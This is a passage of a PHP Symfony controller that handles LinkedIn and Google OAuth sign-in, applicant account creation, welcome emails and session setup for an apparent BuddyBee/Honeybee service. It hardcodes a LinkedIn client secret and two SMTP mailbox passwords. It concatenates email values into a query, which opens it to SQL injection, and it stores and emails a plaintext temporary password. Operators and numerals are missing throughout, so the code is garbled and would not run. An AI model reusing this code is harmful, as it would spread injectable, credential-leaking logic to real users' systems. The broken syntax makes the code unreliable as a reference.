  7228.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  7229.         } else {
  7230.             $url $this->generateUrl(
  7231.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  7232.             );
  7233.         }
  7234.         $selector BuddybeeConstant::$selector;
  7235.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7236.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  7237. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  7238. //        $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  7239.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  7240. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  7241.         $google_client->setRedirectUri($url);
  7242.         $google_client->setAccessType('offline');        // offline access
  7243.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  7244.         $google_client->addScope('email');
  7245.         $google_client->addScope('profile');
  7246.         $google_client->addScope('openid');
  7247. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  7248.         //linked in 1st
  7249.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  7250.             $curl curl_init();
  7251.             curl_setopt_array($curl, array(
  7252.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  7253.                 CURLOPT_HEADER => false,  // don't return headers
  7254.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7255.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7256.                 CURLOPT_ENCODING => "",     // handle compressed
  7257.                 CURLOPT_USERAGENT => "test"// name of client
  7258.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7259.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7260.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  7261.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  7262.                 CURLOPT_USERAGENT => 'InnoPM',
  7263.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  7264.                 CURLOPT_POST => 1,
  7265.                 CURLOPT_HTTPHEADER => array(
  7266.                     'Content-Type: application/x-www-form-urlencoded'
  7267.                 )
  7268.             ));
  7269.             $content curl_exec($curl);
  7270.             $contentArray = [];
  7271.             curl_close($curl);
  7272.             $token false;
  7273. //      return new JsonResponse(array(
  7274. //          'content'=>$content,
  7275. //          'contentArray'=>json_decode($content,true),
  7276. //
  7277. //      ));
  7278.             if ($content) {
  7279.                 $contentArray json_decode($contenttrue);
  7280.                 $token $contentArray['access_token'];
  7281.             }
  7282.             if ($token) {
  7283.                 $applicantInfo = [];
  7284.                 $curl curl_init();
  7285.                 curl_setopt_array($curl, array(
  7286.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  7287.                     CURLOPT_HEADER => false,  // don't return headers
  7288.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7289.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7290.                     CURLOPT_ENCODING => "",     // handle compressed
  7291.                     CURLOPT_USERAGENT => "test"// name of client
  7292.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7293.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7294.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  7295.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  7296.                     CURLOPT_USERAGENT => 'InnoPM',
  7297.                     CURLOPT_HTTPGET => 1,
  7298.                     CURLOPT_HTTPHEADER => array(
  7299.                         'Authorization: Bearer ' $token,
  7300.                         'Header-Key-2: Header-Value-2'
  7301.                     )
  7302.                 ));
  7303.                 $userGeneralcontent curl_exec($curl);
  7304.                 curl_close($curl);
  7305.                 if ($userGeneralcontent) {
  7306.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  7307.                 }
  7308.                 $curl curl_init();
  7309.                 curl_setopt_array($curl, array(
  7310.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  7311.                     CURLOPT_HEADER => false,  // don't return headers
  7312.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7313.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7314.                     CURLOPT_ENCODING => "",     // handle compressed
  7315.                     CURLOPT_USERAGENT => "test"// name of client
  7316.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7317.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7318.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  7319.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  7320. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  7321.                     CURLOPT_USERAGENT => 'InnoPM',
  7322.                     CURLOPT_HTTPGET => 1,
  7323.                     CURLOPT_HTTPHEADER => array(
  7324.                         'Authorization: Bearer ' $token,
  7325.                         'Header-Key-2: Header-Value-2'
  7326.                     )
  7327.                 ));
  7328.                 $userEmailcontent curl_exec($curl);
  7329.                 curl_close($curl);
  7330.                 $token false;
  7331.                 if ($userEmailcontent) {
  7332.                     $userEmailcontent json_decode($userEmailcontenttrue);
  7333.                 }
  7334. //        $oAuthEmail = $applicantInfo['email'];
  7335. //        return new JsonResponse(array(
  7336. //          'userEmailcontent'=>$userEmailcontent,
  7337. //          'userGeneralcontent'=>$userGeneralcontent,
  7338. //        ));
  7339. //        return new response($userGeneralcontent);
  7340.                 $oAuthData = [
  7341.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  7342.                     'uniqueId' => $userGeneralcontent['id'],
  7343.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  7344.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  7345.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  7346.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  7347.                     'lastName' => $userGeneralcontent['localizedLastName'],
  7348.                     'type' => 1,
  7349.                     'token' => $token,
  7350.                 ];
  7351.             }
  7352.         } else if (isset($_GET["code"])) {
  7353.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  7354.             if (!isset($token['error'])) {
  7355.                 $google_client->setAccessToken($token['access_token']);
  7356.                 $google_service = new Google_Service_Oauth2($google_client);
  7357.                 $applicantInfo $google_service->userinfo->get();
  7358.                 $oAuthEmail $applicantInfo['email'];
  7359.                 $oAuthData = [
  7360.                     'email' => $applicantInfo['email'],
  7361.                     'uniqueId' => $applicantInfo['id'],
  7362.                     'image' => $applicantInfo['picture'],
  7363.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  7364.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  7365.                     'firstName' => $applicantInfo['givenName'],
  7366.                     'lastName' => $applicantInfo['familyName'],
  7367.                     'type' => $token['token_type'],
  7368.                     'token' => $token['access_token'],
  7369.                 ];
  7370.             }
  7371.         } else if (isset($_GET["access_token"])) {
  7372.             $token $_GET["access_token"];
  7373.             $tokenType $_GET["token_type"];
  7374.             if (!isset($token['error'])) {
  7375.                 $google_client->setAccessToken($token);
  7376.                 $google_service = new Google_Service_Oauth2($google_client);
  7377.                 $applicantInfo $google_service->userinfo->get();
  7378.                 $oAuthEmail $applicantInfo['email'];
  7379.                 $oAuthData = [
  7380.                     'email' => $applicantInfo['email'],
  7381.                     'uniqueId' => $applicantInfo['id'],
  7382.                     'image' => $applicantInfo['picture'],
  7383.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  7384.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  7385.                     'firstName' => $applicantInfo['givenName'],
  7386.                     'lastName' => $applicantInfo['familyName'],
  7387.                     'type' => $tokenType,
  7388.                     'token' => $token,
  7389.                 ];
  7390.             }
  7391.         }
  7392.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  7393.             $isApplicantExist $applicantRepo->findOneBy([
  7394.                 'email' => $oAuthData['email']
  7395.             ]);
  7396.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  7397.                 $isApplicantExist $applicantRepo->findOneBy([
  7398.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  7399.                 ]);
  7400.             }
  7401.             if (!$isApplicantExist) {
  7402.                 $usersQueried $em->getRepository(EntityApplicantDetails::class)->createQueryBuilder('A')
  7403.                     ->where("1=1 and (A.email like '%," $oAuthData['email'] . "' or A.email like '" $oAuthData['email'] . ",%'
  7404.                                      or A.email like '%," $oAuthData['email'] . ",%' or A.email like '" $oAuthData['email'] . "' ) ")
  7405.                     ->getQuery()
  7406.                     ->getResult();
  7407.                 if (!empty($usersQueried))
  7408.                     $isApplicantExist $usersQueried[0];
  7409.             }
  7410.             if ($isApplicantExist) {
  7411.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7412.                 } else
  7413.                     return $this->redirectToRoute("core_login", [
  7414.                         'id' => $isApplicantExist->getApplicantId(),
  7415.                         'oAuthData' => $oAuthData,
  7416.                         'encData' => $encData,
  7417.                         'locale' => $request->request->get('locale''en'),
  7418.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  7419.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  7420.                     ]);
  7421.             } else {
  7422.                 $fname $oAuthData['firstName'];
  7423.                 $lname $oAuthData['lastName'];
  7424.                 $img $oAuthData['image'];
  7425.                 $email $oAuthData['email'];
  7426.                 $oAuthEmail $oAuthData['email'];
  7427.                 $userName explode('@'$email)[0];
  7428.                 //now check if same username exists
  7429.                 $username_already_exist 1;
  7430.                 $initial_user_name $userName;
  7431.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  7432.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  7433.                     $isUsernameExist $applicantRepo->findOneBy([
  7434.                         'username' => $userName
  7435.                     ]);
  7436.                     if ($isUsernameExist) {
  7437.                         $username_already_exist 1;
  7438.                         $userName $initial_user_name '' rand(3009987);
  7439.                     } else {
  7440.                         $username_already_exist 0;
  7441.                     }
  7442.                     $timeoutSafeCount--;
  7443.                 }
  7444.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  7445.                     $currentUnixTimeStamp '';
  7446.                     $currentUnixTime = new \DateTime();
  7447.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  7448.                     $userName $userName '' $currentUnixTimeStamp;
  7449.                 }
  7450.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  7451.                 $charactersLength strlen($characters);
  7452.                 $length 8;
  7453.                 $password 0;
  7454.                 for ($i 0$i $length$i++) {
  7455.                     $password .= $characters[rand(0$charactersLength 1)];
  7456.                 }
  7457.                 $newApplicant = new EntityApplicantDetails();
  7458.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  7459.                 $newApplicant->setEmail($email);
  7460.                 $newApplicant->setUserName($userName);
  7461.                 $newApplicant->setFirstname($fname);
  7462.                 $newApplicant->setLastname($lname);
  7463.                 $newApplicant->setOAuthEmail($oAuthEmail);
  7464.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  7465.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  7466.                 $newApplicant->setAccountStatus(1);
  7467.                 $salt uniqid(mt_rand());
  7468.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  7469.                 $newApplicant->setPassword($encodedPassword);
  7470.                 $newApplicant->setSalt($salt);
  7471.                 $newApplicant->setTempPassword($password);;
  7472. //                $newApplicant->setPassword($password);
  7473.                 $marker $userName '-' time();
  7474. //                $extension_here=$uploadedFile->guessExtension();
  7475. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  7476. //                $path = $fileName;
  7477.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  7478.                 if (!file_exists($upl_dir)) {
  7479.                     mkdir($upl_dir0777true);
  7480.                 }
  7481.                 $ch curl_init($img);
  7482.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  7483.                 curl_setopt($chCURLOPT_FILE$fp);
  7484.                 curl_setopt($chCURLOPT_HEADER0);
  7485.                 curl_exec($ch);
  7486.                 curl_close($ch);
  7487.                 fclose($fp);
  7488.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  7489. //                $newApplicant->setImage($img);
  7490.                 $newApplicant->setIsConsultant(0);
  7491.                 $newApplicant->setIsTemporaryEntry(0);
  7492.                 $newApplicant->setApplyForConsultant(0);
  7493.                 $em->persist($newApplicant);
  7494.                 $em->flush();
  7495.                 $isApplicantExist $newApplicant;
  7496.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  7497.                     if ($systemType == '_BUDDYBEE_') {
  7498.                         $bodyHtml '';
  7499.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  7500.                         $bodyData = array(
  7501.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  7502.                             'email' => $userName,
  7503.                             'password' => $newApplicant->getPassword(),
  7504.                         );
  7505.                         $attachments = [];
  7506.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  7507. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  7508.                         $new_mail $this->get('mail_module');
  7509.                         $new_mail->sendMyMail(array(
  7510.                             'senderHash' => '_CUSTOM_',
  7511.                             //                        'senderHash'=>'_CUSTOM_',
  7512.                             'forwardToMailAddress' => $forwardToMailAddress,
  7513.                             'subject' => 'Welcome to BuddyBee ',
  7514. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  7515.                             'attachments' => $attachments,
  7516.                             'toAddress' => $forwardToMailAddress,
  7517.                             'fromAddress' => 'registration@buddybee.eu',
  7518.                             'userName' => 'registration@buddybee.eu',
  7519.                             'password' => 'Y41dh8g0112',
  7520.                             'smtpServer' => 'smtp.hostinger.com',
  7521.                             'smtpPort' => 465,
  7522.                             'encryptionMethod' => 'ssl',
  7523. //                            'emailBody' => $bodyHtml,
  7524.                             'mailTemplate' => $bodyTemplate,
  7525.                             'templateData' => $bodyData,
  7526. //                        'embedCompanyImage' => 1,
  7527. //                        'companyId' => $companyId,
  7528. //                        'companyImagePath' => $company_data->getImage()
  7529.                         ));
  7530.                     } else {
  7531.                         $bodyHtml '';
  7532.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  7533.                         $bodyData = array(
  7534.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  7535.                             'email' => 'APP-' $userName,
  7536.                             'password' => $newApplicant->getPassword(),
  7537.                         );
  7538.                         $attachments = [];
  7539.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  7540. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  7541.                         $new_mail $this->get('mail_module');
  7542.                         $new_mail->sendMyMail(array(
  7543.                             'senderHash' => '_CUSTOM_',
  7544.                             //                        'senderHash'=>'_CUSTOM_',
  7545.                             'forwardToMailAddress' => $forwardToMailAddress,
  7546.                             'subject' => 'Applicant Registration on Honeybee',
  7547. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  7548.                             'attachments' => $attachments,
  7549.                             'toAddress' => $forwardToMailAddress,
  7550.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  7551.                             'userName' => 'accounts@ourhoneybee.eu',
  7552.                             'password' => 'Honeybee@0112',
  7553.                             'smtpServer' => 'smtp.hostinger.com',
  7554.                             'smtpPort' => 465,
  7555.                             'encryptionMethod' => 'ssl',
  7556. //                            'emailBody' => $bodyHtml,
  7557.                             'mailTemplate' => $bodyTemplate,
  7558.                             'templateData' => $bodyData,
  7559. //                        'embedCompanyImage' => 1,
  7560. //                        'companyId' => $companyId,
  7561. //                        'companyImagePath' => $company_data->getImage()
  7562.                         ));
  7563.                     }
  7564.                 }
  7565.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7566.                 } else {
  7567.                     return $this->redirectToRoute("core_login", [
  7568.                         'id' => $newApplicant->getApplicantId(),
  7569.                         'oAuthData' => $oAuthData,
  7570.                         'encData' => $encData,
  7571.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  7572.                         'locale' => $request->request->get('locale''en'),
  7573.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  7574.                     ]);
  7575.                 }
  7576.             }
  7577.         }
  7578.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7579.             if ($isApplicantExist) {
  7580.                 $user $isApplicantExist;
  7581.                 $userType UserConstants::USER_TYPE_APPLICANT;
  7582.                 $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  7583.                 $globalId $user->getApplicantId();
  7584.                 $gocList $em
  7585.                     ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  7586.                     ->findBy(
  7587.                         array(//                        'active' => 1
  7588.                         )
  7589.                     );
  7590.                 $gocDataList = [];
  7591.                 $gocDataListForLoginWeb = [];
  7592.                 $gocDataListByAppId = [];
  7593.                 foreach ($gocList as $entry) {
  7594.                     $d = array(
  7595.                         'name' => $entry->getName(),
  7596.                         'image' => $entry->getImage(),
  7597.                         'id' => $entry->getId(),
  7598.                         'appId' => $entry->getAppId(),
  7599.                         'skipInWebFlag' => $entry->getSkipInWebFlag(),
  7600.                         'skipInAppFlag' => $entry->getSkipInAppFlag(),
  7601.                         'dbName' => $entry->getDbName(),
  7602.                         'dbUser' => $entry->getDbUser(),
  7603.                         'dbPass' => $entry->getDbPass(),
  7604.                         'dbHost' => $entry->getDbHost(),
  7605.                         'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  7606.                         'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  7607.                         'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  7608.                         'companyRemaining' => $entry->getCompanyRemaining(),
  7609.                         'companyAllowed' => $entry->getCompanyAllowed(),
  7610.                     );
  7611.                     $gocDataList[$entry->getId()] = $d;
  7612.                     if (in_array($entry->getSkipInWebFlag(), [0null]))
  7613.                         $gocDataListForLoginWeb[$entry->getId()] = $d;
  7614.                     $gocDataListByAppId[$entry->getAppId()] = $d;
  7615.                 }
  7616.                 if ($userTypesByAppIds == null$userTypesByAppIds = [];
  7617.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  7618.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  7619.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  7620.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  7621.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  7622.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  7623.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  7624.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  7625.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  7626.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  7627.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  7628.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  7629.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  7630.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  7631.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  7632.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  7633.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  7634.                     $session->set(UserConstants::USER_COMPANY_ID1);
  7635.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  7636.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  7637.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  7638.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  7639.                     $session->set('userCompanyVibrantList'json_encode([]));
  7640.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  7641.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  7642.                     $session->set(UserConstants::USER_APP_ID0);
  7643.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  7644.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  7645.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  7646.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  7647.                     $session->set(UserConstants::USER_GOC_ID0);
  7648.                     $session->set(UserConstants::USER_DB_NAME'');
  7649.                     $session->set(UserConstants::USER_DB_USER'');
  7650.                     $session->set(UserConstants::USER_DB_PASS'');
  7651.                     $session->set(UserConstants::USER_DB_HOST'');
  7652.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  7653.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  7654.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  7655.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  7656.                     $session->set('locale'$request->request->get('locale'''));
  7657.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  7658.                     $route_list_array = [];
  7659.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  7660.                     $loginID 0;
  7661.                     $loginID MiscActions::addEntityUserLoginLog(
  7662.                         $em,
  7663.                         $session->get(UserConstants::USER_ID),
  7664.                         $session->get(UserConstants::USER_ID),
  7665.                         1,
  7666.                         $request->server->get("REMOTE_ADDR"),
  7667.                         0,
  7668.                         $request->request->get('deviceId'''),
  7669.                         $request->request->get('oAuthToken'''),
  7670.                         $request->request->get('oAuthType'''),
  7671.                         $request->request->get('locale'''),
  7672.                         $request->request->get('firebaseToken''')
  7673.                     );
  7674.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  7675.                     $session_data = array(
  7676.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  7677.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  7678.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  7679.                         'oAuthToken' => $session->get('oAuthToken'),
  7680.                         'locale' => $session->get('locale'),
  7681.                         'firebaseToken' => $session->get('firebaseToken'),
  7682.                         'token' => $session->get('token'),
  7683.                         'firstLogin' => 0,
  7684.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  7685.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  7686.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  7687.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  7688.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  7689.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  7690.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  7691.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  7692.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  7693.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  7694.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  7695.                         'oAuthImage' => $session->get('oAuthImage'),
  7696.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  7697.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  7698.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  7699.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  7700.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  7701.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  7702.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  7703.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  7704.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  7705.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  7706.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  7707.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  7708.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  7709.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  7710.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  7711.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  7712.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  7713.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  7714.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  7715.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  7716.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  7717.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  7718.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  7719.                         //new
  7720.                         'appIdList' => $session->get('appIdList'),
  7721.                         'branchIdList' => $session->get('branchIdList'null),
  7722.                         'branchId' => $session->get('branchId'null),
  7723.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  7724.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  7725.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  7726.                     );
  7727.                     $accessList = [];
  7728. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  7729.                     foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  7730.                         foreach ($thisUserUserTypes as $thisUserUserType) {
  7731.                             if (isset($gocDataListByAppId[$thisUserAppId])) {
  7732.                                 $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  7733.                                 $d = array(
  7734.                                     'userType' => $thisUserUserType,
  7735. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  7736.                                     'userTypeName' => $userTypeName,
  7737.                                     'globalId' => $globalId,
  7738.                                     'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  7739.                                     'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  7740.                                     'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  7741.                                     'systemType' => '_ERP_',
  7742.                                     'companyId' => 1,
  7743.                                     'appId' => $thisUserAppId,
  7744.                                     'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  7745.                                     'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  7746.                                     'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  7747.                                             array(
  7748.                                                 'globalId' => $globalId,
  7749.                                                 'appId' => $thisUserAppId,
  7750.                                                 'authenticate' => 1,
  7751.                                                 'userType' => $thisUserUserType,
  7752.                                                 'userTypeName' => $userTypeName
  7753.                                             )
  7754.                                         )
  7755.                                     ),
  7756.                                     'userCompanyList' => [
  7757.                                     ]
  7758.                                 );
  7759.                                 $accessList[] = $d;
  7760.                             }
  7761.                         }
  7762.                     }
  7763.                     $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  7764.                     $session_data['userAccessList'] = $accessList;
  7765.                     $session->set('userAccessList'json_encode($accessList));
  7766.                     $session_data $this->filterClientSessionData($session_data);
  7767.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  7768.                     $session_data $tokenData['sessionData'];
  7769.                     $token $tokenData['token'];
